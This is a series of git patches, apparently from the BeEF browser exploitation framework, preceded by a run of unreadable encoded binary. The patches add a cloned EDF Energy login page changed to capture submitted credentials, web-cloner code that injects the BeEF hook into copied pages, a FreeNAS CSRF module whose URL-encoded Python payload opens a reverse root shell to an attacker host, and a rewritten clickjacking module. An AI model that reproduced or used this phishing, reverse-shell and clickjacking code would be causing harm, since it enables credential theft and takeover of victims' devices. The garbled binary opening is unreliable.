z&56o6maCpC&F##y%G;1PobR9i?GnNg;gYtchD%p19a!eQtZF&3JaKv33gZ<8D~47E ztUS1iwkmDaPpj=$m#%)jCVEY4fnLGNg2A-`YwHVD3gv};>)hAvT~AmqS>Lr``i7kw zJ{5_It`yrBmlc25DBO7E8;5VoznR>Ww5hAaxn$2~(q`%A-YuS64wkBy=9dm`4cXeX z4c}I@?e+FW+b@^RDBHV(wnMq2zdX3SWv9u`%{xC-q*U}&`cyXV(%rRT*Z6MH?i+i& z_B8C(+grT%{XWUQ+f@NoP1R=AW&26{v-dx)iK^-Nmiuj8txj!m?Z*Ss1N{dh4z}01 z)YTo*JycSU)+_5r4#yw9{+;i4Ee$peRgIj+;v;ZGdF1K$3E%e~4LaI(jC-u%2h$&R z9cLXcYC@Xwnns&bn)_Q~Te?roKGD|d-g^8;+aC{{G(1^(O7m37Y1-+6)01cN&y1aw zoqc{T`P^XJqPBbIW6s}d4{z_f5Om?vMgNQEJG?v2T=KYd^0M3I6IZxbny)%vZR&LD zJpPl@Psh8QyPB@KTx+@RdcC!KX7}kEo;S|j^u2lU7XQ}Oo;f|;z4Ll+_r>@1-xl3| zawq-H%e&ckC+@AhPrP6BKT#_XdT7&;F71j}Joy zkC~6lh7E@6o;W@^IpRNZ{ptLtL(gQ-CY~4mqW;US7Zxvm_|@yz&e53Bp_lTPlfP|z zrTyx_>lv@x#=^!PzR7qqF<$gm`|ZJZ+;<)Cqu&ot2z=0000WV@Og>004R=004l4008;_004mL004C`008P>0026e000+nl3&F} z0009cNkl{&x=>@r-zi}?ELSq)8ErG6))>e z0lgx!(6V#~K21|TV2U<^Eh07rKE>|9a7<|nTM-gZ7XIvV7e_Kl=6&905y|sfl9W;s zNtYIOtUPL-D;clqvPhEserk@{^=_A(nmN32_1cw#vi|((10EFi+sikf0QW4GE>fLy zE{kP-TGYF!IPF$u@wsy0tXMcPt^x@|(ALm$rGkMV0P41yTC+VH#*_ z`M{9nuKGp+bV_kr#{`Dsw+&XO(YsYPS<8N*}e0`q%pAr5~@|)RAv9vfg_s zr{7pxx;TRPH<|PxFv=>O#H^eHSt`RLE@TPQP3xq}OT1L92?{MmN-y2&oe3Qu9nSss z?Z;{BoZ$CYl)>w!FW+-kHEz{S*aHG_oOCRdMh|C7<1n`EUXL9)9l++4*-Fcn;wBYB zvrj*_Z(iSt$mN3_9k9eJl4>=3&oUmo_0lG^rUK54)EZX?PYP!|MF&503==uUx+X5o z1JOcmF@uS==6jTCC(*qpI~{2G6FdL-?k#&O<38Int7qqb@LD|YNz%7%y^gm@t)dmn zmfoc^k_D{gJryOjN(ImH<=d%3Lmtp9l|gF`&WdMBm)@noa0}7m2*Hw}HYqbSa4TQd y93sd(&4t4!CEt(HvX5vZxuXI80{{U3{{sL4f2u0qh?dO&0000 Date: Thu, 6 Sep 2012 11:30:33 +0100 Subject: [PATCH 030/397] Social Eng. extension: added EDG Energy template configuration in config.yaml --- extensions/social_engineering/config.yaml | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/extensions/social_engineering/config.yaml b/extensions/social_engineering/config.yaml index 50213ce6b..84c3a10c2 100644 --- a/extensions/social_engineering/config.yaml +++ b/extensions/social_engineering/config.yaml @@ -42,3 +42,16 @@ beef: cid1: "beef_logo.png" #cid2: "second_image.png" attachments: ["beef_attachment.pdf"] + edfenergy: + images: ["corner-tl.png", "main.png","edf_logo.png","promo-corner-left.png","promo-corner-right-arrow.png","promo-reflection.png","2012.png","corner-bl.png","corner-br.png","bottom-border.png"] + images_cids: + cid1: "corner-tl.png" + cid2: "main.png" + cid3: "edf_logo.png" + cid4: "promo-corner-left.png" + cid5: "promo-corner-right-arrow.png" + cid6: "promo-reflection.png" + cid7: "2012.png" + cid8: "corner-bl.png" + cid9: "corner-br.png" + cid10: "bottom-border.png" From 6ac074d2b05364c7df00548dd17c7cd0fa5f080d Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Thu, 6 Sep 2012 12:37:26 +0100 Subject: [PATCH 031/397] Social Eng. extension: now the web_cloner can serve modified pages as well. This is needed when the page use custom logic to submit the form. Added an example of an Edf Energy modified page. --- extensions/social_engineering/config.yaml | 7 +- .../edfenergy/my-account.edfenergy.com_mod | 790 ++++++++++++++++++ .../rest/socialengineering.rb | 3 +- .../web_cloner/web_cloner.rb | 152 ++-- 4 files changed, 877 insertions(+), 75 deletions(-) create mode 100644 extensions/social_engineering/mass_mailer/templates/edfenergy/my-account.edfenergy.com_mod diff --git a/extensions/social_engineering/config.yaml b/extensions/social_engineering/config.yaml index 84c3a10c2..9bbbc83f7 100644 --- a/extensions/social_engineering/config.yaml +++ b/extensions/social_engineering/config.yaml @@ -36,13 +36,14 @@ beef: # available templates templates: default: - # images are by default inline, so if you want to attach something, see below - images: ["beef_logo.png"]#,"second_image.png"] + # images are by default inline, so if you want to attach something, see 'attachments' below + images: ["beef_logo.png"] images_cids: cid1: "beef_logo.png" - #cid2: "second_image.png" attachments: ["beef_attachment.pdf"] edfenergy: + # my-account.edfenergy.com_mod is an example of a modified page (manually modified in order to + # intercept POST requests) to be served with the web_cloner using use_existing = true images: ["corner-tl.png", "main.png","edf_logo.png","promo-corner-left.png","promo-corner-right-arrow.png","promo-reflection.png","2012.png","corner-bl.png","corner-br.png","bottom-border.png"] images_cids: cid1: "corner-tl.png" diff --git a/extensions/social_engineering/mass_mailer/templates/edfenergy/my-account.edfenergy.com_mod b/extensions/social_engineering/mass_mailer/templates/edfenergy/my-account.edfenergy.com_mod new file mode 100644 index 000000000..7d2e32d59 --- /dev/null +++ b/extensions/social_engineering/mass_mailer/templates/edfenergy/my-account.edfenergy.com_mod @@ -0,0 +1,790 @@ + + + + + + + + + + + +MyAccount + + + + + + + + + + + + + + + + +

+ + + +
+ + + + + + +
+ + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + MyAccount + + + + + + + + + + + + + + + + +
+
+
+ + + + + + + + + + + + + + + + + +
+ + + + + + + + + +
+
+ + +
    +

    +
    + +
    +
+ +
+
+ +
+
+ + + + + + +
+

+ main content +

+
+ +
+ +
+
+
+

Login to MyAccount

+ + + +
+ + + + + + + + + +
+ + + + + + + + + + + + + + +
+ + + + helpPlease enter your username +
+ + + + helpPlease enter the password for this account +
+ + + + + +


+

Forgotten your username or password?

+
+ + +
+
+

Register Today!

+

 

+ +
    +
  • View and pay your bills
  • +
  • Submit your meter reading
  • +
  • Update your details
  • +
  • Sign up for Direct Debit
  • +

+ + + + + +
+ + +    +
+
+

Don't have an online account?
You can still submit a meter reading

+
+
+
+
+
+
+ + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+ + + + +
+ + + \ No newline at end of file diff --git a/extensions/social_engineering/rest/socialengineering.rb b/extensions/social_engineering/rest/socialengineering.rb index a6aa9d188..a0a85f7c2 100644 --- a/extensions/social_engineering/rest/socialengineering.rb +++ b/extensions/social_engineering/rest/socialengineering.rb @@ -40,6 +40,7 @@ module BeEF body = JSON.parse request.body.read uri = body["url"] mount = body["mount"] + use_existing = body["use_existing"] if uri != nil && mount != nil if (uri =~ URI::regexp).nil? #invalid URI @@ -53,7 +54,7 @@ module BeEF end web_cloner = BeEF::Extension::SocialEngineering::WebCloner.instance - success = web_cloner.clone_page(uri,mount) + success = web_cloner.clone_page(uri,mount,use_existing) if success result = { "success" => true, diff --git a/extensions/social_engineering/web_cloner/web_cloner.rb b/extensions/social_engineering/web_cloner/web_cloner.rb index 1cf5feb7f..5f56f2ae8 100644 --- a/extensions/social_engineering/web_cloner/web_cloner.rb +++ b/extensions/social_engineering/web_cloner/web_cloner.rb @@ -27,7 +27,7 @@ module BeEF @beef_hook = "http://#{@config.get('beef.http.host')}:#{@config.get('beef.http.port')}#{@config.get('beef.http.hook_file')}" end - def clone_page(url, mount) + def clone_page(url, mount, use_existing) print_info "Cloning page at URL #{url}" uri = URI(url) output = uri.host @@ -35,84 +35,94 @@ module BeEF user_agent = @config.get('beef.extension.social_engineering.web_cloner.user_agent') success = false - # prevent command injection attacks, passing URLs like (http://antisnatchor'||touch /tmp/foo #). No shells are open in the following case. - begin - IO.popen(["wget", "#{url}","-c", "-k", "-O", "#{@cloned_pages_dir + output}", "-U", "#{user_agent}","--no-check-certificate","--background"], 'r+') do |wget_io| end - success = true - rescue Exception => e - print_error "Errors executing wget: #{e}" - print_error "Looks like wget is not in your PATH. If 'which wget' returns null, it means you don't have 'wget' in your PATH." - end - if success - File.open("#{@cloned_pages_dir + output_mod}", 'w') do |out_file| - File.open("#{@cloned_pages_dir + output}", 'r').each do |line| - # Modify the
line changing the action URI to / in order to be properly intercepted by BeEF - if line.include?(" e + print_error "Errors executing wget: #{e}" + print_error "Looks like wget is not in your PATH. If 'which wget' returns null, it means you don't have 'wget' in your PATH." + end - # modify the form 'action' attribute - line_attrs.each do |attr| - if attr.include? "action=\"" - print_info "Form action found: #{attr}" - break + if success + File.open("#{@cloned_pages_dir + output_mod}", 'w') do |out_file| + File.open("#{@cloned_pages_dir + output}", 'r').each do |line| + # Modify the line changing the action URI to / in order to be properly intercepted by BeEF + if line.include?("") && @config.get('beef.extension.social_engineering.web_cloner.add_beef_hook') + out_file.print add_beef_hook(line) + print_info "BeEF hook added :-D" + else + out_file.print line end - line_attrs[c] = "action=\"#{mount}\"" - - #todo: to be tested, needed in case like yahoo - # delete the form 'onsubmit' attribute - #line_attrs.each do |attr| - # if attr.include? "onsubmit=" - # print_info "Form onsubmit event found: #{attr}" - # break - # end - # cc += 1 - #end - #line_attrs[cc] = "" - - mod_form = line_attrs.join(" ") - print_info "Form action value changed in order to be intercepted :-D" - out_file.print mod_form - # Add the BeEF hook - elsif line.include?("") && @config.get('beef.extension.social_engineering.web_cloner.add_beef_hook') - out_file.print add_beef_hook(line) - print_info "BeEF hook added :-D" - else - out_file.print line end end end - - if File.size("#{@cloned_pages_dir + output}") > 0 - print_info "Page at URL [#{url}] has been cloned. Modified HTML in [cloned_paged/#{output_mod}]" - - file_path = @cloned_pages_dir + output_mod # the path to the cloned_pages directory where we have the HTML to serve - - # Check if the original URL can be framed - frameable = is_frameable(url) - - interceptor = BeEF::Extension::SocialEngineering::Interceptor - interceptor.set :redirect_to, url - interceptor.set :frameable, frameable - interceptor.set :beef_hook, @beef_hook - interceptor.set :cloned_page, get_page_content(file_path) - interceptor.set :db_entry, persist_page(url,mount) - - @http_server.mount("#{mount}", interceptor.new) - print_info "Mounting cloned page on URL [#{mount}]" - @http_server.remap - success = true - else - print_error "Error cloning #{url}. Be sure that you don't have errors while retrieving the page with 'wget'." - success = false - end end - success + + if File.size("#{@cloned_pages_dir + output}") > 0 + print_info "Page at URL [#{url}] has been cloned. Modified HTML in [cloned_paged/#{output_mod}]" + + file_path = @cloned_pages_dir + output_mod # the path to the cloned_pages directory where we have the HTML to serve + + # Check if the original URL can be framed + frameable = is_frameable(url) + + interceptor = BeEF::Extension::SocialEngineering::Interceptor + interceptor.set :redirect_to, url + interceptor.set :frameable, frameable + interceptor.set :beef_hook, @beef_hook + interceptor.set :cloned_page, get_page_content(file_path) + interceptor.set :db_entry, persist_page(url,mount) + + @http_server.mount("#{mount}", interceptor.new) + print_info "Mounting cloned page on URL [#{mount}]" + @http_server.remap + success = true + else + print_error "Error cloning #{url}. Be sure that you don't have errors while retrieving the page with 'wget'." + success = false + end + + success end private From 5fc56a9dfa03cf22c8d42f357d1e7de4ce2780ab Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Fri, 7 Sep 2012 08:41:02 +0100 Subject: [PATCH 032/397] Social Eng. extension: added stub for mass_mailer DB structure --- .../social_engineering/models/mass_mailer.rb | 33 +++++++++++++++++++ 1 file changed, 33 insertions(+) create mode 100644 extensions/social_engineering/models/mass_mailer.rb diff --git a/extensions/social_engineering/models/mass_mailer.rb b/extensions/social_engineering/models/mass_mailer.rb new file mode 100644 index 000000000..142f2395e --- /dev/null +++ b/extensions/social_engineering/models/mass_mailer.rb @@ -0,0 +1,33 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +module BeEF + module Core + module Models + + class Massmailer + + include DataMapper::Resource + + storage_names[:default] = 'extension_seng_massmailer' + + property :id, Serial + + #todo fields + end + + end + end +end From 8625452751ab8a07724ac410cb51f93bab8fa632 Mon Sep 17 00:00:00 2001 From: bcoles Date: Fri, 7 Sep 2012 20:30:19 +0930 Subject: [PATCH 033/397] Add support for Firefox 15 --- core/main/client/browser.js | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/core/main/client/browser.js b/core/main/client/browser.js index 519285a08..97b8317a6 100644 --- a/core/main/client/browser.js +++ b/core/main/client/browser.js @@ -188,12 +188,20 @@ beef.browser = { return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/14\./) != null; }, + /** + * Returns true if FF15 + * @example: beef.browser.isFF15() + */ + isFF15: function() { + return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/15\./) != null; + }, + /** * Returns true if FF. * @example: beef.browser.isFF() */ isFF: function() { - return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12() || this.isFF13() || this.isFF14(); + return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12() || this.isFF13() || this.isFF14() || this.isFF15(); }, /** @@ -463,6 +471,7 @@ beef.browser = { FF12: this.isFF12(), // Firefox 12 FF13: this.isFF13(), // Firefox 13 FF14: this.isFF14(), // Firefox 14 + FF15: this.isFF15(), // Firefox 15 FF: this.isFF(), // Firefox any version IE6: this.isIE6(), // Internet Explorer 6 @@ -526,6 +535,7 @@ beef.browser = { if (this.isFF12()) { return '12' }; // Firefox 12 if (this.isFF13()) { return '13' }; // Firefox 13 if (this.isFF14()) { return '14' }; // Firefox 14 + if (this.isFF15()) { return '15' }; // Firefox 15 if (this.isIE6()) { return '6' }; // Internet Explorer 6 if (this.isIE7()) { return '7' }; // Internet Explorer 7 From 384fe7bcab44e8bce8ca0b4a7178a9a4a63ed73b Mon Sep 17 00:00:00 2001 From: bcoles Date: Fri, 7 Sep 2012 23:00:24 +0930 Subject: [PATCH 034/397] Fix issue #741 --- modules/exploits/local_host/java_payload/module.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/local_host/java_payload/module.rb b/modules/exploits/local_host/java_payload/module.rb index 2f3380bc7..bd0e902dc 100755 --- a/modules/exploits/local_host/java_payload/module.rb +++ b/modules/exploits/local_host/java_payload/module.rb @@ -16,7 +16,7 @@ class Java_payload < BeEF::Core::Command def pre_send - BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/exploits/java_payload/AppletReverseTCP-0.2.jar', '/anti', 'jar') + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/exploits/local_host/java_payload/AppletReverseTCP-0.2.jar', '/anti', 'jar') end def self.options From 69c59bb4276cd6d54591a4a59d4216bd07b7dd03 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Fri, 7 Sep 2012 17:21:17 +0100 Subject: [PATCH 035/397] Social Eng. extension: moved the extension config line in main config file. --- config.yaml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/config.yaml b/config.yaml index 2c5939e42..29bf0fef2 100644 --- a/config.yaml +++ b/config.yaml @@ -94,8 +94,8 @@ beef: enable: false social_engineering: enable: false - console: - shell: - enable: false evasion: enable: false + console: + shell: + enable: false From 9e47942d3fc527aaad61aacedf1a8c346101b524 Mon Sep 17 00:00:00 2001 From: bcoles Date: Sun, 9 Sep 2012 21:05:16 +0930 Subject: [PATCH 036/397] Added FreeNAS remote reverse root shell CSRF module For more information see: http://support.freenas.org/ticket/1788 --- .../command.js | 34 +++++++++++++++++ .../config.yaml | 28 ++++++++++++++ .../freenas_reverse_root_shell_csrf/module.rb | 37 +++++++++++++++++++ 3 files changed, 99 insertions(+) create mode 100644 modules/exploits/nas/freenas_reverse_root_shell_csrf/command.js create mode 100644 modules/exploits/nas/freenas_reverse_root_shell_csrf/config.yaml create mode 100644 modules/exploits/nas/freenas_reverse_root_shell_csrf/module.rb diff --git a/modules/exploits/nas/freenas_reverse_root_shell_csrf/command.js b/modules/exploits/nas/freenas_reverse_root_shell_csrf/command.js new file mode 100644 index 000000000..8df334d6c --- /dev/null +++ b/modules/exploits/nas/freenas_reverse_root_shell_csrf/command.js @@ -0,0 +1,34 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + var rhost = '<%= @rhost %>'; + var rport = '<%= @rport %>'; + var lhost = '<%= @lhost %>'; + var lport = '<%= @lport %>'; + var sid = Math.floor(Math.random()*1000)+1; + + var freenas_add_user_iframe = beef.dom.createInvisibleIframe(); + freenas_add_user_iframe.setAttribute('src', 'http://'+rhost+':'+rport+'/system/terminal/?s='+sid+'&k=%70%79%74%68%6f%6e%20%2d%63%20%22%69%6d%70%6f%72%74%20%73%6f%63%6b%65%74%2c%73%75%62%70%72%6f%63%65%73%73%2c%6f%73%3b%68%6f%73%74%3d%5c%22'+lhost+'%5c%22%3b%70%6f%72%74%3d'+lport+'%3b%73%3d%73%6f%63%6b%65%74%2e%73%6f%63%6b%65%74%28%73%6f%63%6b%65%74%2e%41%46%5f%49%4e%45%54%2c%73%6f%63%6b%65%74%2e%53%4f%43%4b%5f%53%54%52%45%41%4d%29%3b%73%2e%63%6f%6e%6e%65%63%74%28%28%68%6f%73%74%2c%70%6f%72%74%29%29%3b%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%30%29%3b%20%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%31%29%3b%20%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%32%29%3b%70%3d%73%75%62%70%72%6f%63%65%73%73%2e%63%61%6c%6c%28%5b%5c%22%2f%62%69%6e%2f%73%68%5c%22%2c%5c%22%2d%69%5c%22%5d%29%3b%22%0d'); + + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); + + cleanup = function() { + document.body.removeChild(freenas_add_user_iframe); + } + setTimeout("cleanup()", 15000); + +}); + diff --git a/modules/exploits/nas/freenas_reverse_root_shell_csrf/config.yaml b/modules/exploits/nas/freenas_reverse_root_shell_csrf/config.yaml new file mode 100644 index 000000000..012b7f74f --- /dev/null +++ b/modules/exploits/nas/freenas_reverse_root_shell_csrf/config.yaml @@ -0,0 +1,28 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +################################################################################ +# For more information see: http://support.freenas.org/ticket/1788 +################################################################################ +beef: + module: + freenas_reverse_root_shell_csrf: + enable: true + category: ["Exploits", "NAS"] + name: "FreeNAS Reverse Root Shell CSRF" + description: "Attempts to get a reverse root shell on a FreeNAS server.
Tested on version 8.2.0 however other versions are likely to be vulnerable." + authors: ["bcoles"] + target: + working: ["ALL"] diff --git a/modules/exploits/nas/freenas_reverse_root_shell_csrf/module.rb b/modules/exploits/nas/freenas_reverse_root_shell_csrf/module.rb new file mode 100644 index 000000000..edc0805c5 --- /dev/null +++ b/modules/exploits/nas/freenas_reverse_root_shell_csrf/module.rb @@ -0,0 +1,37 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +################################################################################ +# For more information see: http://support.freenas.org/ticket/1788 +################################################################################ +class Freenas_reverse_root_shell_csrf < BeEF::Core::Command + + def self.options + configuration = BeEF::Core::Configuration.instance + lhost = "#{configuration.get("beef.http.host")}" + lhost = "" if lhost == "0.0.0.0" + return [ + { 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '192.168.1.1'}, + { 'name' => 'rport', 'ui_label' => 'Target Port', 'value' => '80' }, + { 'name' => 'lhost', 'ui_label' => 'Local Host', 'value' => lhost}, + { 'name' => 'lport', 'ui_label' => 'Local Port', 'value' => '4444'}, + ] + end + + def post_execute + save({'result' => @datastore['result']}) + end + +end From 19b1baee43f7230a91300596f2e078280a765176 Mon Sep 17 00:00:00 2001 From: Wade Alcorn Date: Mon, 10 Sep 2012 21:19:41 +1000 Subject: [PATCH 037/397] Version updated --- VERSION | 2 +- config.yaml | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/VERSION b/VERSION index ea837d9ad..c01c6178d 100644 --- a/VERSION +++ b/VERSION @@ -14,4 +14,4 @@ # limitations under the License. # -0.4.3.7-alpha +0.4.3.8-alpha diff --git a/config.yaml b/config.yaml index 29bf0fef2..06b0b361a 100644 --- a/config.yaml +++ b/config.yaml @@ -16,7 +16,7 @@ # BeEF Configuration file beef: - version: '0.4.3.7-alpha' + version: '0.4.3.8-alpha' debug: false restrictions: From cef72c95188316d1618b2e60bc9b1c0904df1dd2 Mon Sep 17 00:00:00 2001 From: Rich Lundeen Date: Mon, 10 Sep 2012 14:25:46 -0700 Subject: [PATCH 038/397] Improved Clickjacking Module Rewrite of bcole's module. Adds support for multiple clicks, Javascript event feedback, some basic framebusting evasion, and IE support --- extensions/demos/html/clickjack.html | 4 - .../html/clickjacking/clickjack_attack.html | 174 ++++++++++++++++ .../html/clickjacking/clickjack_victim.html | 9 + .../clickjacking/command.js | 196 +++++++++++------- .../clickjacking/config.yaml | 10 +- .../social_engineering/clickjacking/module.rb | 67 ++++-- 6 files changed, 365 insertions(+), 95 deletions(-) delete mode 100644 extensions/demos/html/clickjack.html create mode 100644 extensions/demos/html/clickjacking/clickjack_attack.html create mode 100644 extensions/demos/html/clickjacking/clickjack_victim.html diff --git a/extensions/demos/html/clickjack.html b/extensions/demos/html/clickjack.html deleted file mode 100644 index 486fe35b0..000000000 --- a/extensions/demos/html/clickjack.html +++ /dev/null @@ -1,4 +0,0 @@ -

 

-
moooooooo -

 

- diff --git a/extensions/demos/html/clickjacking/clickjack_attack.html b/extensions/demos/html/clickjacking/clickjack_attack.html new file mode 100644 index 000000000..9b09b4275 --- /dev/null +++ b/extensions/demos/html/clickjacking/clickjack_attack.html @@ -0,0 +1,174 @@ + + + + + + You have been p0wned + + + + + + + + + + +
+
+
+

Name That Quote

+
You are a sad strange little man, and you have my pity.
+
+ Who said it? + Buzz Lightyear, Toy Story +
+ Another Quote +
+
+
+ + +
+
+

Click-thru

+

You must click here to get to the page.

+ Okay + No Thanks +
+
+ + + + + diff --git a/extensions/demos/html/clickjacking/clickjack_victim.html b/extensions/demos/html/clickjacking/clickjack_victim.html new file mode 100644 index 000000000..4eea6cda1 --- /dev/null +++ b/extensions/demos/html/clickjacking/clickjack_victim.html @@ -0,0 +1,9 @@ + + + +

 

+moooooooo +

 

+moooooooo + + diff --git a/modules/social_engineering/clickjacking/command.js b/modules/social_engineering/clickjacking/command.js index 70985c019..d3ce04af4 100644 --- a/modules/social_engineering/clickjacking/command.js +++ b/modules/social_engineering/clickjacking/command.js @@ -1,6 +1,4 @@ // -// Copyright 2012 Wade Alcorn wade@bindshell.net -// // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at @@ -14,79 +12,133 @@ // limitations under the License. // beef.execute(function() { - - var offset_top = "<%= @offset_top %>"; - var offset_left = "<%= @offset_left %>"; - var url = "<%= @url %>"; - var debug = <%= @debug %>; - - if (debug) opacity = 10; else opacity = 0; - - // create container - var cjcontainer = document.createElement('div'); - cjcontainer.id = "cjcontainer"; - cjcontainer.setAttribute("style", "-moz-opacity:"+opacity); - cjcontainer.style.zIndex = 999; - cjcontainer.style.border = "none"; - cjcontainer.style.width = "30px"; - cjcontainer.style.height = "20px"; - cjcontainer.style.overflow = "hidden"; - cjcontainer.style.position = "absolute"; - cjcontainer.style.opacity = opacity; - cjcontainer.style.filter = "alpha(opacity="+opacity+")"; - cjcontainer.style.cursor = "default"; - document.body.appendChild(cjcontainer); - - // create iframe - var cjiframe = document.createElement('iframe'); - cjiframe.id = "cjiframe"; - cjiframe.src = url; - cjiframe.scrolling = "no"; - cjiframe.frameBorder = "0"; - cjiframe.allowTransparency = "true"; - cjiframe.style.overflow = "hidden"; - cjiframe.style.position = "absolute"; - cjiframe.style.top = offset_top+"px"; - cjiframe.style.left = offset_left+"px"; - cjiframe.style.width = "200px"; - cjiframe.style.height = "100px"; - cjiframe.style.border = "none"; - cjiframe.style.cursor = "default"; - cjcontainer.appendChild(cjiframe); - - // followmouse code by rsnake - // http://ha.ckers.org/weird/followmouse.html - // modified by bcoles - function followmouse(e){ - - var xcoord = 0; - var ycoord = 0; - var gettrailobj = function() { - if (document.getElementById) - return document.getElementById("cjcontainer").style; - else if (document.all) - return document.all.container.style; - } - if (typeof e != "undefined") { - xcoord += e.pageX - 10; - ycoord += e.pageY - 15; - } else if (typeof window.event != "undefined") { - xcoord += document.body.scrollLeft + event.clientX; - ycoord += document.body.scrollTop + event.clientY; - } - var docwidth = document.all ? document.body.scrollLeft + document.body.clientWidth : pageXOffset+window.innerWidth - 15; - var docheight = document.all ? Math.max(document.body.scrollHeight, document.body.clientHeight) : Math.max(document.body.offsetHeight, window.innerHeight) - gettrailobj().left = xcoord + "px"; - gettrailobj().top = ycoord + "px"; + var elems = { + outerFrame: "cjFrame", + innerFrame: "innerFrame", + btn: "persistentFocusBtn" } - // hook to mousemove event - if (window.addEventListener) { - window.addEventListener('mousemove', followmouse, false); - } else if (window.attachEvent) { - window.attachEvent('mousemove', followmouse); + var clicked = 0; + var src = "<%= @iFrameSrc %>"; + var secZone = "<%= @iFrameSecurityZone %>"; + var sandbox = "<%= @iFrameSandbox %>"; + var visibility = "<%= @iFrameVisibility %>"; + + var clicks = [ + {js:"<%= URI.escape(@clickaction_1) %>", posTop:cleanPos("<%= @iFrameTop_1 %>"), posLeft:cleanPos("<%= @iFrameLeft_1 %>")}, + {js:"<%= URI.escape(@clickaction_2) %>", posTop:cleanPos("<%= @iFrameTop_2 %>"), posLeft:cleanPos("<%= @iFrameLeft_2 %>")}, + {js:"<%= URI.escape(@clickaction_3) %>", posTop:cleanPos("<%= @iFrameTop_3 %>"), posLeft:cleanPos("<%= @iFrameLeft_3 %>")}, + {js:"<%= URI.escape(@clickaction_4) %>", posTop:cleanPos("<%= @iFrameTop_4 %>"), posLeft:cleanPos("<%= @iFrameLeft_4 %>")}, + {js:"<%= URI.escape(@clickaction_5) %>", posTop:cleanPos("<%= @iFrameTop_5 %>"), posLeft:cleanPos("<%= @iFrameLeft_5 %>")}, + {js:"<%= URI.escape(@clickaction_6) %>", posTop:cleanPos("<%= @iFrameTop_6 %>"), posLeft:cleanPos("<%= @iFrameLeft_6 %>")}, + {js:"<%= URI.escape(@clickaction_7) %>", posTop:cleanPos("<%= @iFrameTop_7 %>"), posLeft:cleanPos("<%= @iFrameLeft_7 %>")}, + {js:"<%= URI.escape(@clickaction_8) %>", posTop:cleanPos("<%= @iFrameTop_8 %>"), posLeft:cleanPos("<%= @iFrameLeft_8 %>")}, + {js:"void(0);", posTop:'-', posLeft:'-'} + ] + + var iframeAttrs = {}; + iframeAttrs.src = src; + (secZone == "on") ? iframeAttrs.security = "restricted" : ""; + (sandbox == "on") ? iframeAttrs.sandbox = "allow-forms" : ""; + + var iframeStyles = {}; + iframeStyles.width = "<%= @iFrameWidth %>px"; + iframeStyles.height = "<%= @iFrameHeight %>px"; + iframeStyles.opacity = (visibility == "on") ? "0.6" : "0.0"; + iframeStyles.filter = (visibility == "on") ? "alpha(opacity=60)" : "alpha(opacity=0)"; + + var innerPos = {}; + //initialize iframe + innerPos.top = clicks[0].posTop + "px"; + innerPos.left = clicks[0].posLeft + "px"; + + //returns a negative version of a number, or if NaN returns a dash + function cleanPos(coordinate) { + var iCoordinate = parseInt(coordinate); + if (isNaN(iCoordinate)) + return "-"; + else if (iCoordinate > 0) + return (-1 * iCoordinate) + return iCoordinate } - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'clickjack=hooked mousemove event'); + function init(params, styles, stylesInner, callback) { + var container = $j.extend(true, {'border':'none', 